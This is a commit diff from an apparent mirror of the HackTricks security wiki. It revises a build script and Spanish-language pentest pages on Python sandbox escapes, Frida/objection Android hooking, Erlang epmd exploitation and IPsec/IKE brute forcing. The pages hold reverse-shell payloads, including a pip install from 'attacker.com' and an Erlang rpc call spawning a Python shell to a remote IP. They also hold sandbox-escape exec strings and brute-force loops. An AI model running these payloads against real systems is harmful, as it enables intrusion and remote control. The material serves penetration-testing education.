mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
9f747fa4f5
commit
592ebbb16a
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,39 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
@ -99,6 +133,9 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
@ -868,3 +868,4 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
|
@ -39,16 +39,15 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** el sandbox.
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** la sandbox.
|
||||
|
||||
> [!CAUTION]
|
||||
> La función **input()** de Python2 permite ejecutar código python antes de que el programa se bloquee.
|
||||
> [!CAUTION] > La función **input()** de **Python2** permite ejecutar código python antes de que el programa se bloquee.
|
||||
|
||||
Python intenta **cargar bibliotecas del directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos python): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Eludir el sandbox de pickle con los paquetes de python instalados por defecto
|
||||
## Eludir la sandbox de pickle con los paquetes de python instalados por defecto
|
||||
|
||||
### Paquetes por defecto
|
||||
|
||||
@ -80,7 +79,9 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py` y poner tu IP para el reverse shell**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas.
|
||||
@ -88,9 +89,9 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
|
||||
> Ten en cuenta que exec permite cadenas de múltiples líneas y ";", pero eval no (ver operador walrus)
|
||||
|
||||
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassear** la restricción:
|
||||
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassar** la restricción:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -306,15 +307,15 @@ pass
|
||||
- [**Funciones integradas de python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Funciones integradas de python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Si puedes acceder al objeto **`__builtins__`**, puedes importar bibliotecas (ten en cuenta que también podrías usar aquí otra representación de cadena mostrada en la última sección):
|
||||
Si puedes acceder al objeto **`__builtins__`** puedes importar bibliotecas (ten en cuenta que también podrías usar aquí otra representación de cadena mostrada en la última sección):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
|
||||
Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**.
|
||||
|
||||
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
|
||||
|
||||
@ -376,7 +377,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals y locales
|
||||
|
||||
Comprobar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
|
||||
Verificar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elemento de dict** con **paréntesis** sin comillas `__globals__[CONFIG]`
|
||||
Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elementos de diccionario** con **paréntesis** sin comillas `__globals__[CONFIG]`
|
||||
|
||||
También nota que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
@ -701,7 +702,7 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Más ejemplos** sobre **ejemplos de** **cadenas de formato** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Más ejemplos** sobre **format** **string** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Consulta también la siguiente página para gadgets que **leerán información sensible de los objetos internos de Python**:
|
||||
@ -734,7 +735,7 @@ Desde [aquí](https://www.cyberark.com/resources/threat-research-blog/anatomy-of
|
||||
|
||||
Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de cadena de formato en python.
|
||||
|
||||
Como recordatorio, cada vez que se realiza una acción en python, se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
|
||||
Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](#python-execution-without-calls).
|
||||
|
||||
@ -823,7 +824,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Obteniendo Información del Código
|
||||
### Obtener información del código
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota que **si no puedes importar `dis` en el sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
|
||||
Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -1054,5 +1055,4 @@ será eludido
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Introducción**
|
||||
|
||||
**objection - Exploración Móvil en Tiempo de Ejecución**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) es un kit de herramientas de exploración móvil en tiempo de ejecución, impulsado por [Frida](https://www.frida.re). Fue creado con el objetivo de ayudar a evaluar aplicaciones móviles y su postura de seguridad sin la necesidad de un dispositivo móvil con jailbreak o root.
|
||||
[**Objection**](https://github.com/sensepost/objection) es un kit de herramientas para la exploración móvil en tiempo de ejecución, impulsado por [Frida](https://www.frida.re). Fue creado con el objetivo de ayudar a evaluar aplicaciones móviles y su postura de seguridad sin la necesidad de un dispositivo móvil con jailbreak o root.
|
||||
|
||||
**Nota:** Esto no es alguna forma de bypass de jailbreak / root. Al usar `objection`, todavía estás limitado por todas las restricciones impuestas por el sandbox aplicable al que te enfrentas.
|
||||
|
||||
@ -20,9 +18,11 @@ El **objetivo** de **objection** es permitir al usuario llamar a las **acciones
|
||||
|
||||
Para este tutorial voy a usar el APK que puedes descargar aquí:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
O desde su [repositorio original](https://github.com/asvid/FridaApp)(descargar app-release.apk)
|
||||
O desde su [repositorio original](https://github.com/asvid/FridaApp) (descargar app-release.apk)
|
||||
|
||||
### Instalación
|
||||
```bash
|
||||
@ -32,14 +32,14 @@ pip3 install objection
|
||||
|
||||
Haz una **conexión ADB regular** y **inicia** el **servidor frida** en el dispositivo (y verifica que frida esté funcionando tanto en el cliente como en el servidor).
|
||||
|
||||
Si estás utilizando un **dispositivo rooteado**, es necesario seleccionar la aplicación que deseas probar dentro de la opción _**--gadget**_. en este caso:
|
||||
Si estás usando un **dispositivo rooteado**, es necesario seleccionar la aplicación que deseas probar dentro de la opción _**--gadget**_. en este caso:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
```
|
||||
### Acciones Básicas
|
||||
|
||||
No se enumerarán todos los comandos posibles de objections en este tutorial, solo los que he encontrado más útiles.
|
||||
No se van a listar todos los comandos posibles de objections en este tutorial, solo los que he encontrado más útiles.
|
||||
|
||||
#### Entorno
|
||||
|
||||
@ -121,7 +121,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Lista de métodos declarados de una clase con sus parámetros
|
||||
#### Listar métodos declarados de una clase con sus parámetros
|
||||
|
||||
Vamos a averiguar qué parámetros necesitan los métodos de la clase:
|
||||
```bash
|
||||
@ -141,7 +141,7 @@ Esto es muy útil si quieres **enganchar el método de una clase y solo conoces
|
||||
|
||||
#### Enganchar (observar) un método
|
||||
|
||||
Del [código fuente](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de la aplicación sabemos que la **función** _**sum()**_ **de** _**MainActivity**_ se está ejecutando **cada segundo**. Intentemos **extraer toda la información posible** cada vez que se llama a la función (argumentos, valor de retorno y traza de llamada):
|
||||
Del [código fuente](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) de la aplicación sabemos que la **función** _**sum()**_ **de** _**MainActivity**_ se está ejecutando **cada segundo**. Intentemos **volcar toda la información posible** cada vez que se llama a la función (argumentos, valor de retorno y traza de llamada):
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
@ -159,7 +159,7 @@ Si juegas con la aplicación mientras la clase está enganchada, verás cuando *
|
||||
|
||||
#### Cambiando el valor de retorno booleano de una función
|
||||
|
||||
Del código fuente puedes ver que la función _checkPin_ recibe un _String_ como argumento y devuelve un _boolean_. Hagamos que la función **siempre devuelva true**:
|
||||
Del código fuente puedes ver que la función _checkPin_ recibe un _String_ como argumento y devuelve un _boolean_. Vamos a hacer que la función **siempre devuelva true**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -169,7 +169,7 @@ Ahora, si escribes cualquier cosa en el cuadro de texto para el código PIN, ver
|
||||
|
||||
### Instancias de clase
|
||||
|
||||
Busca e imprime **instancias activas de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
|
||||
Busca e imprime **instancias en vivo de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -225,6 +225,4 @@ exit
|
||||
- No puedes usar las instancias de las clases para llamar a las funciones de la instancia. Y no puedes crear nuevas instancias de clases y usarlas para llamar a funciones.
|
||||
- No hay un atajo (como el de sslpinnin) para enganchar todos los métodos criptográficos comunes que utiliza la aplicación para ver texto cifrado, texto plano, claves, IVs y algoritmos utilizados.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
# Información Básica
|
||||
|
||||
El **Erlang Port Mapper Daemon (epmd)** actúa como un coordinador para instancias distribuidas de Erlang. Es responsable de mapear nombres de nodos simbólicos a direcciones de máquina, asegurando esencialmente que cada nombre de nodo esté asociado con una dirección específica. Este papel de **epmd** es crucial para la interacción y comunicación sin problemas entre diferentes nodos de Erlang a través de una red.
|
||||
El **Erlang Port Mapper Daemon (epmd)** sirve como un coordinador para instancias distribuidas de Erlang. Es responsable de mapear nombres de nodos simbólicos a direcciones de máquina, asegurando esencialmente que cada nombre de nodo esté asociado con una dirección específica. Este papel de **epmd** es crucial para la interacción y comunicación sin problemas entre diferentes nodos de Erlang a través de una red.
|
||||
|
||||
**Puerto por defecto**: 4369
|
||||
```
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
Más información en [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
El autor también comparte un programa para forzar el cookie:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Conexión Local
|
||||
|
||||
@ -69,7 +71,7 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Ejemplo tomado de [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Puedes usar **Canape HTB machine para** **practicar** cómo **explotar esta vulnerabilidad**.
|
||||
Puedes usar la **máquina Canape HTB para** **practicar** cómo **explotar esta vulnerabilidad**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación y el intercambio de claves. Este proceso se desarrolla en varias fases:
|
||||
|
||||
- **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que involucra tres pares de mensajes, o **modo agresivo**.
|
||||
- **Fase 1:** Se crea un canal seguro entre dos puntos finales. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea el modo principal, que implica tres pares de mensajes, o **modo agresivo**.
|
||||
- **Fase 1.5:** Aunque no es obligatorio, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y una contraseña.
|
||||
- **Fase 2:** Esta fase está dedicada a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Perfect Forward Secrecy (PFS)**, mejorando la seguridad.
|
||||
|
||||
@ -26,9 +26,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Encontrar una transformación válida**
|
||||
|
||||
La configuración de IPSec puede estar preparada solo para aceptar una o pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**.
|
||||
La configuración de IPSec puede estar preparada solo para aceptar una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como el **algoritmo de cifrado**, SHA o MD5 como el **algoritmo de integridad**, una clave precompartida como el **tipo de autenticación**, Diffie-Hellman 1 o 2 como el **algoritmo de distribución de claves** y 28800 segundos como la **vida útil**.
|
||||
|
||||
Entonces, lo primero que tienes que hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para hacerlo, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una única propuesta con **ocho transformaciones dentro de ella**.
|
||||
Entonces, lo primero que debes hacer es **encontrar una transformación válida**, para que el servidor hable contigo. Para ello, puedes usar la herramienta **ike-scan**. Por defecto, Ike-scan funciona en modo principal y envía un paquete a la puerta de enlace con un encabezado ISAKMP y una única propuesta con **ocho transformaciones dentro de ella**.
|
||||
|
||||
Dependiendo de la respuesta, puedes obtener información sobre el punto final:
|
||||
```
|
||||
@ -44,17 +44,17 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
||||
Como puedes ver en la respuesta anterior, hay un campo llamado **AUTH** con el valor **PSK**. Esto significa que el vpn está configurado utilizando una clave precompartida (y esto es realmente bueno para un pentester).\
|
||||
**El valor de la última línea también es muy importante:**
|
||||
|
||||
- _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es un gateway IPsec**.
|
||||
- _0 returned handshake; 0 returned notify:_ Esto significa que el objetivo **no es una puerta de enlace IPsec**.
|
||||
- _**1 returned handshake; 0 returned notify:**_ Esto significa que el **objetivo está configurado para IPsec y está dispuesto a realizar la negociación IKE, y uno o más de los transformadores que propusiste son aceptables** (un transformador válido se mostrará en la salida).
|
||||
- _0 returned handshake; 1 returned notify:_ Los gateways VPN responden con un mensaje de notificación cuando **ninguno de los transformadores es aceptable** (aunque algunos gateways no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
|
||||
- _0 returned handshake; 1 returned notify:_ Las puertas de enlace VPN responden con un mensaje de notificación cuando **ninguno de los transformadores es aceptable** (aunque algunas puertas de enlace no lo hacen, en cuyo caso se debe intentar un análisis adicional y una propuesta revisada).
|
||||
|
||||
Entonces, en este caso ya tenemos una transformación válida, pero si estás en el 3er caso, entonces necesitas **forzar un poco para encontrar una transformación válida:**
|
||||
Entonces, en este caso ya tenemos una transformación válida, pero si estás en el tercer caso, entonces necesitas **forzar un poco para encontrar una transformación válida:**
|
||||
|
||||
Primero que nada, necesitas crear todas las transformaciones posibles:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
Y luego realizar un ataque de fuerza bruta a cada uno usando ike-scan (esto puede tardar varios minutos):
|
||||
Y luego fuerza bruta cada uno usando ike-scan (esto puede tardar varios minutos):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
@ -62,7 +62,7 @@ Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiend
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Con suerte, **una transformación válida se refleja de vuelta**.\
|
||||
Esperemos que **una transformación válida se devuelva**.\
|
||||
Puedes intentar el **mismo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
@ -106,11 +106,11 @@ Esto también se puede lograr con el script de nmap _**ike-version**_
|
||||
## Encontrar el ID correcto (nombre del grupo)
|
||||
|
||||
Para poder capturar el hash, necesitas una transformación válida que soporte el modo agresivo y el ID correcto (nombre del grupo). Probablemente no conocerás el nombre del grupo válido, así que tendrás que forzarlo por fuerza bruta.\
|
||||
Para ello, te recomendaría 2 métodos:
|
||||
Para hacerlo, te recomendaría 2 métodos:
|
||||
|
||||
### Fuerza bruta del ID con ike-scan
|
||||
|
||||
Primero que nada, intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
|
||||
Primero intenta hacer una solicitud con un ID falso tratando de recopilar el hash ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
@ -120,7 +120,7 @@ Si **no se devuelve ningún hash**, entonces probablemente este método de fuerz
|
||||
|
||||
Pero si, como he dicho, no se devuelve ningún hash, entonces deberías intentar forzar nombres de grupos comunes usando ike-scan.
|
||||
|
||||
Este script **intentaré forzar posibles IDs** y devolverá las IDs donde se devuelve un apretón de manos válido (este será un nombre de grupo válido).
|
||||
Este script **intentará forzar posibles IDs** y devolverá las IDs donde se devuelve un apretón de manos válido (este será un nombre de grupo válido).
|
||||
|
||||
Si has descubierto una transformación específica, agrégala en el comando ike-scan. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
|
||||
|
||||
@ -128,25 +128,27 @@ Puedes usar el [diccionario de ikeforce](https://github.com/SpiderLabs/ikeforce/
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
O use este diccionario (es una combinación de los otros 2 diccionarios sin repeticiones):
|
||||
Or use this dict (is a combination of the other 2 dicts without repetitions):
|
||||
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Fuerza bruta de ID con Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para forzar posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) también utiliza **ike-scan** para hacer fuerza bruta a posibles nombres de grupo. Sigue su propio método para **encontrar un ID válido basado en la salida de ike-scan**.
|
||||
|
||||
### Fuerza bruta de ID con ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **forzar IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y uno no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) es una herramienta que se puede usar para **hacer fuerza bruta a IDs también**. Esta herramienta **intenta explotar diferentes vulnerabilidades** que podrían usarse para **distinguir entre un ID válido y uno no válido** (podría tener falsos positivos y falsos negativos, por eso prefiero usar el método ike-scan si es posible).
|
||||
|
||||
Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a utilizar.
|
||||
Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para verificar el comportamiento del servidor y determinar la táctica a usar.
|
||||
|
||||
- El **primer método** es forzar los nombres de grupo mediante **la búsqueda** de la información **Dead Peer Detection DPD** de los sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
|
||||
- El **segundo método** disponible es **verificar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se utiliza el ID correcto.
|
||||
- El **primer método** es hacer fuerza bruta a los nombres de grupo buscando la información de **Detección de Pares Muertos DPD** de sistemas Cisco (esta información solo es respondida por el servidor si el nombre del grupo es correcto).
|
||||
- El **segundo método** disponible es **verificar el número de respuestas enviadas a cada intento** porque a veces se envían más paquetes cuando se usa el ID correcto.
|
||||
- El **tercer método** consiste en **buscar "INVALID-ID-INFORMATION" en respuesta a un ID incorrecto**.
|
||||
- Finalmente, si el servidor no responde nada a las verificaciones, **ikeforce** intentará forzar el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
|
||||
